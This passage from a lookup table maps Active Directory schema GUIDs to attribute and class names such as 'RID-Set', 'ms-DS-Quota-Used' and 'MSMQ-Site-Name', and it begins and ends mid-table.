'5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period', - '93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role', - '2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service', - 'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To', - 'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3', - '7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set', - 'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting', - 'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection', - 'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL', - '2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services', - '7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories', - 'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4', - '8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject', - '7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging', - '16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier', - '1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task', - '9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key', - '7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures', - '87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01', - '7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room', - 'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name', - '7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level', - 'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name', - 'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL', - '9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign', - 'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups', - '47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02', - '09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings', - '49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group', - 'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name', - 'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List', - '79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings', - '9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers', - '46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal', - '6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy', - '80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container', - '8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names', - 'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User', - 'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID', - '564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name', - '8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1', - '040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable', - '87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter', - '3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA', - 'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders', - '7f56127e-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Duration-Per-Flow', - 'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link', - 'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount', - '99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2', - 'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision', - 'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter', - 'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry', - 'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL', - 'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files', - 'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options', - '6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective', - '9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal', - 'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid', - '7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter', - '66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object', - '1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files', - 'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path', - '16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee', - '9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota', - '66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool', - '11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2', - '88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group', - '7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth', - 'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version', - 'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used', - '9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label', - '66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool', - '936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath', - 'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking', - '7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow', - '32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names', - '8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors', - '4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex', - '66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference', - '135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb', - '88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile', - 'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File', - '42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names', - '9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors', - '9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived', - '6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID', - 'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent', - '8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry', - '1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File', - '7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter', - '855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors', - '9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated', - '6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool', - 'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2', - 'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Profile-Element', - '81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow', - 'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes', - '97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations', - '1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address', - '7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References', - '35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2', - '89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal', - '7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow', - 'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM', - '3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations', - '9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style', - '6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool', - '3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2', - '88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server', - '87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size', - 'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority', - 'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL', - 'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags', - '8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid', - 'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2', - 'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry', - '9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation', - '9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type', - '2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes', - '6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub', - 'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant', - '86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2', - 'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element', - '9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency', - 'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore', - 'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota', - '9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type', - '81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber', - '57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2', - '8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs', - '8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size', - 'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs', - '8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota', - '9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers', - '7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust', - '200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2', - '2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point', - 'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size', - 'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs', - 'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site', - '9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID', - '88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation', - '0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2', - 'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group', - 'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size', - '5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16', - 'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data', - '2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates', - 'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings', - 'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version', - 'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary', - 'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate', - '5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32', - '2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data', - '9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level', - '7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset', - 'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version', - 'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names', - 'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size', - '5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name', - '0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason', - '9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID', - '80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags', - '2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2', - 'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base', - '1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit', - 'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB', - '85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay', - '8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota', - 'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group', - '6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2', - '0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames', - 'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime', - 'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size', - 'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory', - 'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay', - '2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext', - 'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID', - 'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2', - 'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server', - '4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd', - '7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits', - 'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive', - '08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 'ms-DS-ReplicationEpoch', - '3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota', - '29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID', - '3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used', - 'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container', - '1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name', - 'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier', - 'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures', - '9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type', - 'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority', - '51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute', - 'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret', - '7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority', - '6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host', - 'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions', - '9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota', - 'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry', - '2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values', - '7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog', - 'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location', - 'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path', - '4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain', - '3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName', - '29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax', - 'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type', - '4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson', - 'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object', - '1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location', - '7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories', - '4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes', - '2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service', - '3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name', - 'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source', - '7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type', - '7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes', - '0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings', - '2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services', - '6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type', - '6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class', - '2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update', - 'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server', - '7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day', - '52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming', - 'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity', - '8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source', - '04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates', - '52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With', - '7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows', - '52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing', - '789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes', - '9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type', - 'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule', - '54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL', - '07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group', - 'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container', - '7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List', - 'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials', - '35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role', - '9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services', - 'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex', - '4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List', - '6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information', - '96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level', - 'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL', - '9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates', - 'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID', - '7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL', - '07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP', - 'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point', - '032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names', - 'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type', - 'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task', - '3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig', - 'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info', - 'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid', - 'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address', - 'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover', - 'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL', - '9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key', - '1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update', - 'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key', - '26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport', - 'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class', - 'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots', - 'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator', - '2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed', - '9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1', - 'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version', - '9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id', - '5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table', - 'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew', - 'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed', - '9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2', - '16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags', - '9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids', - '26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container', - '28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point', - '5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS', - 'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number', - '146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript', - 'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign', - 'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path', - '69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id', - '16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home', - 'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id', - '773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN', - '9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates', - 'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective', - '6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id', - 'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base', - 'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance', - '5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax', - 'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data', - '778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link', - 'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig', - 'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags', - '098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License', - '5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type', - 'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type', - '185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users', - '9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID', - 'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide', - '67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License', - 'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter', - '5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject', - '553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu', - 'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference', - '1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs', - 'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name', - '01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary', - '0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License', - 'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count', - 'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID', - '15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group', - '422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex', - 'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier', - '1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License', - 'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy', - 'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site', - 'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description', - 'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference', - '303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group', - '9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites', - 'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also', - '19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint', - 'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name', - 'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name', - 'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number', - '9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional', - 'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification', - 'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp', - 'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy', - 'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link', 